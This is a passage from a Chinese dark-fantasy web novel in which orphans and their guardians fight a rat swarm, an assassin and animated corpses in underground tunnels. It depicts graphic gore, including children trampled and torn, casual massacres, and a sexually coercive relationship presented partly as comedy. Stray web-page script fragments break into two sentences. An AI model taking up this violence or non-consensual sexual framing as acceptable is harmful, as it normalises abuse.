这效应诡异地引起其他孩子注意力。听到熟悉的老动画片角色,那些曾经在仁爱院小房子发生过的一切好像重新回到他们心中。他们想起姥姥搬出那个破DVD机给他们看《神奇宝贝》的下午。
反复看碟片的日子,黄色的电气老鼠——嗯,也属于老鼠。
“在哪里?”
“皮卡丘才不是大耗子。”
但接着,他们就看到一双黄色的脚印踩在保护罩上。如同电视机上那样的胖乎乎黄皮大老鼠,摇晃着闪电形的尾巴。它没有看向孩子们一眼,四肢灵活地蹦出去,弹跳着消失在黑黢黢的鼠群中。
孩子们的脑袋跟着皮卡丘的动作,齐刷刷从仰着转向同一个方向。忽然之间,他们感觉鼠潮也没有想象中的可怕,他们为数不多的注意力从危机上转移,谁都没有说话,空气中弥漫着种幻想的天真的氛围。每一个孩子清澈的眼瞳里都闪烁着某种可爱的东西,他们依旧互相缠抱,或完整或残缺的身体藤蔓一样包裹着彼此,呼吸之间,生死里最可怕的东西正从他们的意识里消失。
压力转移到了童姥姥身上。
她欲言又止,最终还是没打断这该死的集体幻觉。大量老鼠磅磅撞击她的保护罩,有些意图从保护罩上爬过去,可光滑的保护罩根本没有任何落脚点。当一只老鼠从保护罩上掉下来,它的同伴便毫不犹豫踩上去,一只接着一只,直至将落败者踩踏成肉泥,完成成为向上攀爬地阶梯。
它们密密麻麻。从内到外,好像往面饼里塞馅料。四周弥漫着强烈的白色烟雾,童姥姥看不见王德经理的位置。
她怀揣着邪恶的念头,想要这个害过燕语的男人被老鼠们咬死,吃得骨头渣滓都不剩。可同时,那些白色烟雾又在提醒她,如果连王德这个死男人都活不下去,她一个人也极难保全仁爱院及地道里其他躲藏起来的孩子。
修女。燕语。
平安生。
叶生光。
不,先不说这些辅助系和治疗系。哪怕是仁爱院里最有战斗力的乌修平和最有莽劲的沈曙雀,也未必能活下来……
童姥姥细数着自己体内的能量,竭力压低身姿,减少保护罩的面积。
铛——
金光罩强烈震动起来,原本就处于频闪状态的保护罩陷入高速闪烁中,每一次闪烁,亮起的光芒都越发微弱。为数不多的光正在逐渐缩减视野,远处的白烟和近处的黑色鼠潮令童姥姥难以分别攻击的源头。
她嘴角溢出一丝鲜血,手腕上青筋暴起,双臂也猛地折了一下,从钝角变为锐角。
一道白色的残影随风极快卷到保护罩面前,保护罩上微弱的反光倒映烟雾中若影若现的人形。童姥姥大喝声,“滚开”那道烟雾快速吹散,若有若无的人形只剩下残缺的模块。
童姥姥心神却并没有因此松懈下。透过诸多鼠类的尸体,她看到王德经理的脸——他既不在天上也不在地上,而是处于所有鼠群上方,随着阵阵阴风活动。童姥姥向他投去目光的一瞬间,他飞快隐没在黑暗中,徒留下一层白灰似地残痕。
跑了?
不!童姥姥快速运转能量,一切发生得还是太快了。她抬起手,保护罩上无数老鼠发出狂乱的叫声,他们数量诸多,重量不断加码,随着高频地运动,肉眼可见将保护罩压出坑洞。保护罩最上方逐渐下陷,形成一个“凹”形。孩子们脸上不再倒影鼠类的光影,真实的脚步正不断踩踏在他们脸上,没一下都践出惊恐与深入骨髓的恐惧。
王德经理的一击正朝着孩子们而去。他沿着鼠类最密集的地方刺下去,等级威压令老鼠们血肉横飞,孩子们的脸上崩开一层一层毛发与血肉,他们发不出任何声音,双手互相盖住彼此,直勾勾盯着最上方巨大的白色巨镰。
“不破!”童姥姥放弃自己身边的所有防御,她的双手向着身后一甩。孩子们头顶亮起一个一个小形光圈,数个光圈组成锁子甲,与虚幻的白色巨镰撞击在一起。
两种技能。
虚幻与真实。
高速闪烁的火花中,白色巨镰不断施加重力。操控他的主人却悄无声息出现在数个地方,白烟缠绕的空间中,王德经理无处不在。重新反应过来的老鼠并么有被眼前的战斗打败,他们扑上前,和对待所有人一样啃食童姥姥。
鲜血与碎肉掉在衣物和地上,童姥姥不得不抽出那根掉光了珠子的念珠串往自己身上抽打。
老鼠扑朔朔从她身上掉下来,有些朝着前方前进,有些继续被鲜血蛊惑,朝着她扑过来。
“看来你的力量用光了。”王德经理终于显露出他的半身。一套白色烟雾构成的轻铠,从上到下将他的面部、颈部、双手、指骨包裹起来。原本拿着烟的手上,缠绕着一圈烟圈似的长链,长链尽头正是那白色巨镰。
“童真。”王德经理感叹道:“这年代已经很少见到专司防御的职业者了。”
也是如此,他才会被阻拦这么久,甚至找不到绕过童姥姥防御,继续前进的道。
无论他从哪一个角度穿行,面前的女人都能精准找到防御角度,将他憋屈得堵死面前。
但一切都要结束了——他没时间继续和这个老虔婆浪费了。王德经理化为烟雾,他的轻铠融入黑暗中。
呛人的烟味无处不在。
童姥姥唯一还好的眼睛正被烟味熏得泪水直流。她的视野严重受损,唯有多年的战斗经验支撑着她继续阻拦王德经理。
铛!随着第一声碰撞声。白镰与金光碰撞再一起,双方不再残留任何余力,白镰从上下左右任何意想不到的角度钻出来,而每一次都有微弱到不可查的金光以上下左右的任何意想不到的角度阻拦住它。
铛!铛铛铛铛——
数百白镰在狭窄的空间里飞舞,数百金光在黑暗中高速频闪。
好强。王德经理杀意灼心,看见鼠潮来袭,他就没有继续戏弄童姥姥的心思。现在的他只想要杀穿这些防护罩,赶快把平安生抓起。
谁能想到棚户区里还藏着这样强大的防御系职业者呢?谁又能想到他堂堂58级的职业刺客,会输给一个比自己低许多的防御系?
“艹。草草草!”王德经理越发狂躁,他闪现在童姥姥身后,双手缠绕雾状锁链。随着动作一拽,气态的锁链瞬间变为实质性的杀器,将童姥姥拖拽到地上,“去死吧。去死吧。”
意料之中的哀嚎并没有出现。
童姥姥冷冷转身。她的脖颈上居然环绕着一圈极细的防护光。光线不多不少,正好与锁链形成对抗之势。而她抓住这个近战时机,爆开一个防御罩,将王德经理的本体困住,“锢!”
王德经理比那个吐字更快,他身形瞬散,下一秒出现在孩子们上空。孩子们瑟瑟发抖的眼神阻止不了他手上积攒好的技能。
“幻术——操作。”王德经理道:“拦住那个老婆子。”
他不能再耗下去了。平安生没有手脚,鬼知道现在有没有被这些乱七八糟的老鼠吃光。
想到平安生受损的可能性。王德心理怨气更强盛。他离去之前,不忘狠狠瞪了一眼童姥姥,将这个可恶的强大的防御系记在心里。
一定要找时间杀了她。
还有这些该死的老鼠,到底是谁派过来的?王德经理越想越是咬牙切齿,难道是地下那位穴鼠先生?可是他出来做什么?
地下另外一处。
沈曙雀也在想这个问题。
“啊呜。你老板这么宠你吗?”她看着面前整整齐齐的老鼠大军,倒吸一口凉气。空气比过去更加浑浊,老鼠身上的臭味与下水道的臭味不分彼此,微妙的鲜血气味让二人脸色都不太好看。
肥硕的大黑耗子四肢着地,双目向前,按照复制粘贴的标准,尾巴对其尾巴,前爪对其前爪,乖顺得不敢置信,发红发亮的眼睛齐刷刷朝着一个方向,脑袋一动不动。
沈曙雀沿着他们的目光看过去,双手拍拍脸。
一只散发这洗衣液香味的花布小老鼠,正蹲在乌修平鞋子上,用长长的棉布搓成的尾巴啪啪打乌修平的裤脚,并试图用身体拽下乌修平的裤子。
沈曙雀:“……”
沈曙雀:“啊呜。他在扒你裤子。”
乌修平单手拽着裤子,维护自己在好友面前为数不多的尊严。他腾出另外一只手,试图捏住这个顽劣老鼠,却被花布小老鼠啪啪抽了好几下手背。
好不容易他攥住那条棉布尾巴,压低声音恐吓花布小老鼠不许动。花布小老鼠还颇为气恼地别过脑袋,用屁股对准这个坏男人。
乌修平:……
坏男人用两根手指头狠狠捏了下小老鼠的棉花屁股。
花布小老鼠顿时发出塑料玩具的吱吱叫,大有咬乌修平一口的架势。
乌修平习惯了。他知道穴鼠用来监视自己的花布小老鼠不太看得起自己,一边提着裤子,一边朝沈曙雀狡辩,“他就是个玩具,没有扒我裤。啊!”
话音未落,乌修平的脸被小老鼠用尾巴狠狠抽了下,血痂硬生生给抽掉了大半。穴鼠发疯的尖叫从花布小老鼠里传来。
“你知道刚刚自己在做什么吗?”
乌修平:“……”
男人感觉自己为数不多的自尊心彻底被这一尾巴抽干净。哪怕沈曙雀已经知道他同穴鼠是什么关系,可如此没有面子,还是让乌修平气得不想说话。他将花布小老鼠拿得远一点,捂住耳朵。
“你的鸟!!!你差点把鸟烧掉了。你把鸟烧了,我吃什么?烧鸟吗?”
乌修平不敢看沈曙雀的表情。要换做二人私密空间,他肯定对穴鼠一顿安慰,大不了狠狠做一遍,让穴鼠检查吊的质量还好不好。可现在是什么情况?穴鼠至于找来乌泱泱一大群老鼠盯着自己看吗?
可现在不安慰穴鼠,穴鼠还要说出什么惊世骇俗的话,就不是乌修平能控制得的。他的面子给穴鼠丢在地上踩了还不算,还要给踩得七零八落。现在没有低服做小,大概是乌修平作为男人最后的倔强了。
他肩膀往里缩,背对着沈曙雀。花布小老鼠背后的穴鼠却一下子知道乌修平的心意。他驱动花布小老鼠扭扭身体,逃脱制裁,沿着男人的手臂,踩着伤口与血痂上位,站在乌修平头顶厉声尖叫,“你差点把鸟烧没了!啊啊,我的大鸟!你不认错我是不会饶过你
() {
$(''.inform'').remove();
$(''#content'').append(''
的。鸟鸟多无辜啊。”
沈曙雀没忍住,噗嗤笑了声。
乌修平咬着牙看过,女孩心虚捂住嘴巴,目光移向另外一边。
乌修平想自己不如被烧昏厥过去。他都不敢想想日后,曙雀会如何揶揄自己。
可眼下,他死要面子,为维护最后一点尊严,说话都强硬起来了,“你来干什么。”
“保护我的东西。刚刚要不是我把锁头变成裤头,你知道我有多大损失吗?”穴鼠气急败坏地骂道,还传出一些砸东西的声音。
乌修平:……
行吧。你砸吧。我能活下来,收拾的活还是我来做。
他现在就想赶快结束这该死的话题。
“回去。”乌修平强硬道:“让你的老鼠回去。不准监视我了。”
“你在命令我?”穴鼠嘲笑道:“道具给你都只能用成这样子。你还是乖乖脱掉裤子来床上。哦。这场战斗你也不要参与了。我让小老鼠把除了你之外所有人都杀了。”
花布小老鼠翘起尾巴,颇有种自豪的态度。
没错,他比主人床上那个废物鸟强了不知道多少。
“不可以。”乌修平看着头顶上的花布小老鼠,脸上手上的鞭痕隐约热起来。他心虚,远处的沈曙雀让他产生种强烈的羞耻感,他顾不上在私密时对穴鼠的谦卑态度,色厉内茬,“里面还有仁爱院的人。”
“切。”穴鼠压低声音,明明人不在这里,传音却带着一点声临其境的哈气声,“你在命令我吗?……不过也不是不可以。拉开裤子,给鼠鼠看一眼。”
头顶的小老鼠十分迅敏钻入乌修平的外套,咬在他的裤腰带上。两枚随意点上的豆豆眼充满期盼。
乌修平浑身都僵硬住了。
穴鼠十分享受欺压床上人的乐趣。他哄骗道:“荆棘刃好用吧。给我看看,被火淬炼过的利刃,是不是更大更锋利。”
乌修平脑袋一片空白。说实话,他并不愿意在这种时候玩什么露出play,但穴鼠根本就没有经过他同意的意思。花布小老鼠自己勾起裤腰,钻进去,吱吱一顿乱钻后,从裤腿流出来。
“嗯。”花布小老鼠顶着一脸棉花,简单的鼻音里充斥着穴鼠满意的意思,“你要好好保护自己的鸟。知道吗?鸟很重要的。超级重要。”
他还要继续说什么。花布小老鼠被人揪住尾巴,提到半空。
沈曙雀按住小老鼠的脑袋,揉叭揉叭将花布小老鼠揉成一个棉花团子。长长的尾巴刚好把棉花布老鼠绑成粽子。
沈曙雀道:“好啦好啦,我会保护他的鸟啦。啊呜。这是个使魔吧。放你这里吧。”
乌修平脑子有点不够用。准确来说,他素来知道沈曙雀看不惯穴鼠先生,可看到双方第一次对弈,以曙雀粗暴揉玩偶结束,他脑子好像给开辟一条全新道路,嘴巴都结巴起来。
“啊。雀。你。”
“老鼠先生,算我们这边的战斗力吧。”沈曙雀煞有其事规划道:“如果老鼠不帮我们做事情的话,你就威胁他自宫。”
花布粽子.小老鼠.骤然迸发出凶光,在半空中吱吱吱疯狂乱叫起来。
这不是个好迹象。通常情况下,穴鼠有意见就直接说出口,花布小老鼠传出的声音都该是这个男人的发癫金句。而不是这种玩偶似地的吱吱乱叫。
除非,穴鼠杀过来……
乌修平想到那可怕的场面,浑身忍不住哆嗦一下。他和穴鼠相识近三年,只看过对方动手一次。那惨无人道的画面,他再也不想看第二次。
“还是算了。”乌修平纠正道:“穴鼠。不是老鼠。嘶——”
话还是没说完,沈曙雀狠狠踩了他一脚。乌修平屏蔽痛觉,这一脚本就没什么痛觉,他纯粹是为自己说两声冤屈。最关键是,他觉得穴鼠出手,大概率除了自己一个都活不下来。
89级。
并不是一个和善的等级。
乌修平伸出两根手指,将小老鼠夹到手掌心,安抚道:“能让你的……老鼠朋友们让开吗?”
“吱吱吱。”
此时此刻,花布小老鼠觉得乌鸦是世界上最好的鸟。
至于另外一个什么雀雀则坏得厉害!
怎么可以伤害乌鸦的鸟鸟,太坏了!还揪住鼠鼠的尾巴。要知道他就是个棉花小老鼠,又不是漂亮美丽帅气天下天下独一份的主人!
“吱吱吱”
没有对比就没有伤害,花布小老鼠愉悦接受乌修平的提议。不过他也找到乌修平的裤口袋,钻进去后,吭哧露出半个小脑袋,“吱吱吱吱。”
漆黑黑的老鼠大军齐刷刷亮出一道一人宽的大道。
前方,黑峻峻一片。
“吱吱吱。”
真的不需要鼠鼠帮忙杀人吗?花布小老鼠期盼地看着乌修平。
“吱吱吱。”
鼠鼠也是很厉害的哦。
能帮忙把除了你和坏鸟之外的家伙全部杀光。
“真的不找你老板帮忙吗?”沈曙雀倒是不死心。危急关头,她致力于调动一切可以调动的力量,她心中根本没什么不好意思。如果可以获得力量,获得变强的机缘,她可以丢弃很多东西——为此,她无法理解乌修平在穴鼠面前那种拧巴的心态。
她跟在乌修平后面,连续追问道:“能让老鼠先生告诉我们敌人的具体位置吗?他能完全站在我们这边吗?啊呜,荆棘刃也是他给你的吧。”
“阿雀。”乌修平逃避这些问题。他知道自己说得一句话都会小老鼠传递给穴鼠。等战斗结束,那男人少不了同他好好算笔账。
现在,说再过分的话,穴鼠也不会冲过来左右开弓扇自己大嘴巴子。
他会在战后加倍扇回来。
小心眼的男人。
“穴鼠先生从不会离开自己的巢穴。”乌修平回答道:“他很强。可你应该很难听到他的事迹,也极少见过他出现在外面。”
沈曙雀仔细想想,发现确实如此。
她因实力不足鲜少涉足黑市。可是黑市之外三六九教的小喽啰,沈曙雀接触多了,她有她自己的门路,乌修平与穴鼠刚勾搭上的日子,她几番打听,都不知道穴鼠是什么存在,过了半年之久被其中一个情报贩子狠狠警告,不许再打听有关穴鼠的任何事情。
穴鼠极少出现在外界。
关于他的任何风吹草动都能卖出天价。
“穴鼠从不会离开自己的巢穴。”乌修平解释道,“哪怕到了万不得已,一定要出手的时候,他也不会离开巢穴。”
40.第三十九章
第三十九章
乌修平和穴鼠在外面见过一次面,就是初见那次。
这也是未来几年,乌修平唯一一次见到穴鼠外出的画面。之后,无论发生任何事情,他都没见过谁和自己一样走进穴鼠的巢穴,他也没见过穴鼠外出过一步。
毕竟,有他在,搞卫生、购买食材、做饭、丢垃圾都有人干。
穴鼠每天做得最多的事情就是睡觉、吃饭、□□。
他□□的频率高得吓人,还极为过分得提出让乌修平单穿女仆围裙,下半身真空打扫卫生的意见,吓得乌修平有半个月都没去穴鼠的巢穴里。
饶是如此,穴鼠也没有亲自跑出来抓人。
他就是派了一大堆老鼠把乌修平叼回巢穴,或者直接虚空开一个大洞,伸出手将乌修平抓回巢穴里。他自己是绝对不会出来的。
那个出现在废墟中拯救整个仁爱院的神秘人,因为有着和穴鼠极为相似的背影,被乌修平怀疑过其是否是穴鼠。乌修平还放软了态度,试图试探穴鼠一番。可事后,他自己躺在桌板上反刍,又觉得自己太愚蠢了。
穴鼠如果要出手帮自己,为什么不能堂堂正正出现呢?
如果不愿意牵扯太多,暗地帮助自己也应该拿出来同自己说才对。不然他怎么在自己身上索要更多他想要的东西呢?
——可那人不是穴鼠,又是谁?又是谁能与穴鼠长得这么相似?
乌修平想不明白。他只能告诉沈曙雀,不要奢望穴鼠回来帮助他们。
“他能派出小老鼠来就很不错了。”乌修平感慨万千。
“那他怎么接任务?”沈曙雀不明白,“就算不用生活。转职任务不用做吗?我记得你说他有89级了吧。不着急90级的转职任务吗?”
乌修平叹口气。他过去也问过穴鼠类似的问题。
在这个世界,转职是一项极为极难的事情。
例如乌修平第一次转职时,他需要先攒够升入10级的经验值,再选择开始转职任务。而这一切仅仅是任务开启的前提条件。等到转职任务刷新并确认后,乌修平9级升10级的经验会暂时性清空。在任务执行阶段,他的等级将一直维持“9级”的状态。直到他完成转职任务。
这个“9级”也被称呼为“过渡等级”。
任务成功,“过渡等级”会晋级到下一个阶段。
任务失败,则之前积攒的经验值彻底清空,要从“真正的9级”开始重新积攒经验值。
因此,很多人会在转职任务开始前寻找保镖、搜索能想到的一切资料和道具、甚至不惜准备一切可能会用到的资源:转职任务越到后期,越随机,越依据个人能力发展,什么奇怪的玩意都有可能出现。
例如,沈曙雀的10级转职任务:找一个神性污染物。
她到现在都没想到怎么完成这个神经病转职任务。
“穴鼠说他还没到要做任务的时候。”乌修平解释道:“他也不会和我说太多过去的事情……这么几年,我就没见过他身边其他人。”
“朋友?”
乌修平摇摇头,“没有。”
非要比喻,穴鼠是一个完全的真空人。他没有朋友,没有过去,没有亲人,也没有什么特别在乎的东西。
似乎那个小小的装满零食、娱乐产品的小洞穴就是他永恒的家。
哦,还有乌修平。
虽然这么说很不要脸,可乌修平有段时间确实为穴鼠狂热的喜爱沾沾自喜过。他还年轻,误以为被大人物喜欢是什么很好的事情,甚至产生过自己对于对方很重要的想法,试图麻烦对方帮自己寻找平安生。
随后,他就为自己的愚蠢付出了代价,差点死在穴鼠的床上。
在那之后,乌修平内心只剩下强烈的不安全感,那种不踏实的感觉混杂着彻骨的惊悚。他看到穴鼠的脸,再也不觉得那张脸为自己情迷意乱又多么值得骄傲。他那些可笑的男性自尊和可耻的自傲,在真正的能力面前不值一提。
他害怕穴鼠的力量,害怕穴鼠没有由来的痴恋,害怕穴鼠毫无理由的占有欲。
过犹不及。
任何超出边界的、没有由来的情感,对承受者而言就是一种不受控制的无妄之灾。
至于赚钱?
这么几年,穴鼠出手赚钱的那几个任务都是典型的灭门任务。
他也不需要出门,窝在乌修平怀里,轻轻打出一个响指,还能窝回去撒娇要再来一次。某次乌修平事后,偷偷去任务目标那走了一趟,一周没有心情吃饭。
穴鼠只接手灭门任务。
因为他懒得分辨任务目标,直接确定坐标轴,一口气全杀了。
简单,便捷,高效。
赚钱快。
话到这里,沈曙雀却还是有点不死心。她琢磨穴鼠的性格,看看面前的浑身伤疤的挚友,问道:“他为你也不肯多费点力气吗?”
“你怎么会这么想。”乌修平太清楚穴鼠的性格了。他苦笑道:“说到底……我和他没有好到那种程度……”
沈曙雀脸黑下来,显得极为不愉快。
她心情如何复杂,暂且不说。乌修平感觉到自己裤子往下坠了好几下,裤口袋里的花布小老鼠正抗议地乱蹦。他赶快捂住裤子,找补道:“我只是一个15级,穴鼠则是89级。他没有一个不开心就把我打杀,已经很不错了。”
“我还以为你们是你情我愿。”沈曙雀道;“过去,我觉得他就是抠门老板。现在!他把你睡了,给你派活还扣四五成的中介费。他还是个89级!大人物这么不要脸吗?”
乌修平无奈极了。
“嘘——嘘——”
他们周围还有那么多大老鼠,花布小老鼠快把他裤子拽下来了。乌修平单手按压住花布小老鼠。他们走来的路,被诸多老鼠淹没,而前方又有新的老鼠开路,一路下来居然产生“平安”的荒谬感。
“这样就不错了。乌修平道:“没有穴鼠先生,我还要给别人欺负。”
“啊呜你这样想不对。”沈曙雀气得打乌修平的背,一次不够还要连续打好几次,“算了。老鼠现在帮我们。等这次事情结束了再说吧。”
乌修平太理解好友心里想什么了。他忍不住说道:“结束了。阿雀你也没办法对穴鼠先生做什么。”
沈曙雀之后又说了一些话,无外乎是关于等级关于转职的老话。中间,她还问了些关于穴鼠职业的问题,问道:“平叔的队友会是老鼠杀的吗?”
乌修平不知道。
他希望是。因为那样,穴鼠看上去会比过去更善待他一些。如此也能解释上次相见,穴鼠那微妙的软和与不同——可隐约中,乌修平觉得不是。他觉得穴鼠身上发生了他不知道的事情。在过去很多时间,他都清楚,他与他虽然躺在一张床上,灵魂、意识、过去都隔着十万八千里。
他们除了身体外,是迥然不同的两个世界的人。
沈曙雀还要继续说什么。前方出现一点微弱的光芒。
两人噤声,藏住身形,沿着转角缓慢向前。双方的长影与脚步声混合在鼠类中。影影绰绰,在这个转角处,双方的影子都停留下来。沈曙雀缓缓调节下自己手中的手电筒光芒,而转角的哪一位也极慢的熄灭手中的光球。
黑暗到来的一刹那!
乌修平抽出自己手中的荆棘刃。对面扑上来,双方扭打在一起,骤黑的洞穴里,谁能率先适应环境,谁就掌握先手。乌修平拽住那人的头发砸在墙上,花布小老鼠死死勾住裤子,防止被甩出去。它被两个大男人挤得吱吱乱叫。
四周的老鼠也由此拱起背,发出骇人的恐吓叫声。它们扑上去,咬住其余人的脚踝,接连的惨叫声中,乌修平按住那人的面罩。
一个成年男性。
他不用分辨这到底是谁,按压的瞬间,荆棘刃刺下,拔出。
沈曙雀彻底发挥出放冷枪的能力。她仔细数了手中每一把枪里残留的子弹,每一发都正正好用在最关键处。一支5人队伍,乌修平杀了三个,她杀了一个,最后两人一起合作
() {
$(''.inform'').remove();
$(''#content'').append(''
捕杀了一个。
他们协力起来比这些久生活在地面的人要有点优势。
“我来收集物资。”沈曙雀招呼一下,调出手电筒最小的光,把手电筒咬在嘴里,上下翻找起来。
乌修平自觉去周围放风警戒。微弱的光在每一具尸体之间徘徊,和之前遇到的那一队人稍微有点不同。这一次来得成年男都戴上了防毒面罩,沈曙雀将他们全身搜了个干净后,最后摘下其中一个人的面罩,研究要不要戴上这个东西。
她担心成平集团的人已经在地下隧道里投放了毒气。
她和乌修平有诅咒在,都可以一定程度上免疫不厉害的毒气。但其余孩子就没有这样的“诅咒”了。
还是带上一个吧。沈曙雀想着,手电筒的光从尸体上扫荡过去。啪嗒一下。她叼着的手电筒掉在地上,微弱的光线在射在那具尸体侧过来的半边脸上。
“周曹。”沈曙雀语无伦次,她内心一阵强烈地恐慌。
一时间,她没有办法理清楚这是活着的被他们杀死的周曹,还是那个早早死在雨中的周曹。但毫无疑问,无论是哪一个周曹,他的出现,都代表某种情况正在地下隧道中失控。
“周曹。是他。”沈曙雀拽着乌修平。两个人辨认一番后,扒开周曹身上的武装背心,用手去探他的胸口。
黏糊糊的。冷冰冰的。
“正常水平下,我杀不了他。”乌修平道:“我只有15级。”
“可你有荆棘刃。而且,你还用过平叔。不对。你的点数……你的点数根本不是15级的水平。”
如果他们有类似“尸语者”的勘测技能就好了,这样情况至少会鲜明许多。乌修平和沈曙雀挨个将其他人的面罩摘下来。他们并不认识其他人,或者说,若不是那天周曹主动请他们吃咖啡,他们也未必会认识周曹,也未必会知道周曹与平叔的关系。
他们只会将他当做一个普通的躲雨的大叔。
“他早就死了。”乌修平安抚住有些无措的沈曙雀。
此时,沈曙雀已经从一具可能活动的尸体,联想到了他们第一次对战的傀儡,再联想到那个可疑的神秘人,甚至提出当时的傀儡刺客根本没死,他们只是藏起来,用其他尸体伪装出自己死亡的可能性。
乌修平觉得那些高等级职业者不会做这么无聊的事情。
“他们会直接杀了我们。”乌修平道:“不要乱想了阿雀。事情没有这么糟糕。”
“那尸体怎么解释。”沈曙雀总是多想一步,甚至是好几步。她一口咬定,肯定是有什么新的增援下来了,“如果是个亡灵法师,那怎么办?我们知道得实在是太少了……”
乌修平深深叹口气。
他蹲下来,再次仔细查看尸体上的伤口,翻来覆去,一度用手指将几个新鲜的血口子扒开。
乌修平笃定到:“我现在杀他时,他已经死了。活着时候,造成的伤口不是这样的。”
为了说服沈曙雀,乌修平撩起衣物,展示腹部一道伤口,“如果活着时刺穿,应该是这样的。”
“那不就是傀儡吗?”沈曙雀胡乱抓着头发,这是她最讨厌对战的类型,“我讨厌所有用傀儡的人。啊啊啊。隧道里除了老鼠,最多的应该就是尸体啊。”
如果操作敌人的尸体还好。
操作孩子们、童姥姥、叶生光,乃至是平安生的尸体……
他们要怎么办?
“我会杀了他们。”乌修平道:“不是活着的人,我可以杀。阿雀,你不要慌张。傀儡,我来杀。”
“真的吗?”沈曙雀不相信。她道:“啊呜。你要做好大家都死了的准备。”
如果我们大家都死了。
你能再一次杀死我们吗?
沈曙雀深呼吸好几次,她终于缓过来了,从最糟糕的设想中缓和过来。她看向还没意识到严重性的挚友,说出一个他无法平静的名字,“平叔。”
“傀儡不一定会失去自主意识。如果敌人操作平叔。啊呜,你必须杀了他。”
41.第四十集
第四十集
沈曙雀小时候被很多人打过。她自己自嘲那些都是必须挨得打,因为不挨那么多的打,她是不会知道世界上有这么多她走不通的路。
她曾经有段时间和乌修平一样,唾弃身上的诅咒,又渴望这带着神之名义的诅咒可以带他们走出真正的困境。
——他们觉得自己只是没找到利用诅咒的方法。
沈曙雀一次一次被打倒在地上,一次又一次爬起来。她不会在那些高高在上的仇人面前示弱,只会偶尔地、非常隐晦地躲在乌修平身边掉眼泪。等乌修平说要帮她打回去时,她又会转变态度,贬低乌修平的实力,客观地残忍地说他们两个加在一起都打不过那些人。
现在也是如此。
面对打不过的对手,沈曙雀总能想到最坏的情况,话语宛若尖刀,逼迫着乌修平直面现实。
“你要是下不了手。我来。”沈曙雀道:“我来杀了平安生。”
乌修平陷入沉默。他抓着沈曙雀的手用力,最开始只是指尖用力,接着是指节,手腕,乃至整个肩膀。他既没有反驳挚友的悲观推论,也没有甩开手做出不合作的态度。
乌修平只是看着沈曙雀,组织自己脑袋里那些稍微乐观一点的念头。
“不一定……有这么糟糕。”
“有可能就是这么糟糕。啊呜。必要时不止是平叔。我,你也要杀了我。一定要杀了我。”沈曙雀哀求道:“我不愿意像平叔那样活着,我绝不愿意——事情到了最糟糕的地步,我情愿你杀了我。”
乌修平后退一步,移开视线,“不要说这些话。”
他用脚踢开地上七横八竖的尸体,大步走在前面,“你和平叔都不会死。事情哪里会坏到这种程度。”而为了作证这一说辞,乌修平的步频逐渐加快,步伐逐渐变大,双臂摆锤似地大开大合。他不知道为什么,大抵是之前与火焰法师打了一架,隧道中的空气都被烧干净大半,胸口闷闷。
阿雀为什么非要把事情朝着最坏的地步去想呢?只是一具尸体罢了。他们与周曹的接触就是那个下雨天,那个他们第一次去的咖啡厅。阿雀还在那咖啡厅里出丑,她为什么偏偏要忌惮这个周曹的尸体呢?能说明什么吗?
成平集团能派出第一次的傀儡攻击他们,为什么不能攻击第二次呢?什么新的势力,什么新的战力补充——全部杀掉就好了——乌修平攥住荆棘刃。没有刀柄的荆棘刃刺穿乌修平的手掌、手背,他屏蔽了痛觉,这些锋利且长的触感在他的世界里就成为一种强烈的止痒工具。
乌修平大步向前,为惩罚自己的朋友说出自己内心隐秘的秘密,他没有停下,直至沈曙雀气喘吁吁大骂着喊他的名字,乌修平才站住。
沈曙雀一巴掌甩在他脸上 。
“我知道你在想什么。”沈曙雀大骂,她抓住乌修平的肩膀,前后摇晃着,上气不接下气说道:“啊呜。放过平叔。好不好。我也不想这么说,可是我不与你说清楚,还有谁会对你说清楚呢?那个老鼠先生吗?”
乌修平抬起眼。
他张开嘴,裤子在动,那细小的动静让他意识到穴鼠其实就在身边:他要反驳曙雀,说她说得不对?那必然要遭到穴鼠的嘲笑。
他隐约察觉到他自己也有些态度问题。可沈曙雀越是这么说,他越无法剥离对平叔的感情。
穴鼠与他,平叔与他,是不一样的。
“他们是不一样的。”乌修平快速又胆怯地说了好几遍,“他们是不一样的。”
“必要时候,你能杀了平叔吗?”沈曙雀逼问道。她声音稍大。乌修平感觉到自己裤腿里什么东西正在蠕动。他伸出手,将那软绵绵的棉花脑袋压下去,又欲盖弥彰地用手指将那团棉花整个按住。
他真不想回答这个问题。
可在场有两个人都等待这个答案。
他只好蠕动着,含糊不清地,嘴唇都没张开地回答道:“应该。”
沈曙雀也不再逼迫乌修平。她非常清楚乌修平现在的极限就到这里了。无论她与面前这个男人关系再怎么亲密,她终究无法触及他内心狂野的□□。
她强调道:“你答应我了。”
如果你无法出手,我必将出手。
乌修平骤然觉得他们之间裂开一道非常细小的缝隙。他竭力想要维持他生命中重要的一切,可裂缝还是随着他所做出的选择不断崩裂:他亲手将平叔从匣子中解放出来,他亲眼见证平叔从昏厥到清醒,亲耳听到对方想要义肢的愿景。他面对的不是一个失去四肢的人彘,而是一个从绝境中顽强活下来,依旧想要活下来,想要过上正常生活的灵魂。
乌修平做不到摧毁这样一个他爱着的人。
太残忍了。
他做不到沈曙雀这样的冷静,以至于产生痛恨与厌恶,指责对方从没有想过这样的选择对平叔来说是多么的残忍。
为什么要让他来做选择?为什么必须是他。
“你真要杀了他吗?”花布小老鼠挣扎出乌修平的五指山。它灵活爬上乌修平的肩膀,尾巴挂在乌修平的耳朵上,哈气一般说话,“要不要求求我。”
穴鼠。
是了。强大的穴鼠。
所有选项中可以一劳永逸的按钮,只需要他付出早就付出过的身体就好了——乌修平短暂忽略穴鼠是否会真的帮助自己的可能性。
“不了。事情还没到这么糟糕。”
阿雀就是太容易把事情想得很糟糕,或,很好。她爱什么很热烈,恨什么也很极端。
穴鼠笑起来,听起来是在床上打滚。
乌修平的危难对他来说和笑话一样,让乌修平痛苦的选项在他看来也没有什么意义。
只要穴鼠想,他可以让所有人都活下来。
他能做到,只是他不想做。
“你真是个废物男人。”穴鼠恶毒地说道:“这件事情,你求我我也不会做。我巴不得那个老男人死掉。”
乌修平伸出手抓那只花布小老鼠,小老鼠嗖嗖两下从他肩膀跳下来,极快地消失在鼠群里。他眼睛并不会散发出诡异的红光,一身花布料左右摇晃,潜入黑色中。
消失前,它还不忘对乌修平翘起屁股,表达嘲讽的意思。
89级主人做靠山,它来去自由,反反复复就为确认乌修平的鸟是否还好,看完就走。
乌修平内心伸出强烈的羞耻感。他脸烧起来,唾液在舌苔上滚了两翻,吞咽下去,狠狠唾弃自己起来。用他为数不多能报复的手段去想,也无非身下二两肉把穴鼠操得四脚朝天。可转念一想,这样还不是爽死穴鼠。乌修平自己一时半会也找不出什么更好的报复念头,徒劳得走在前面。
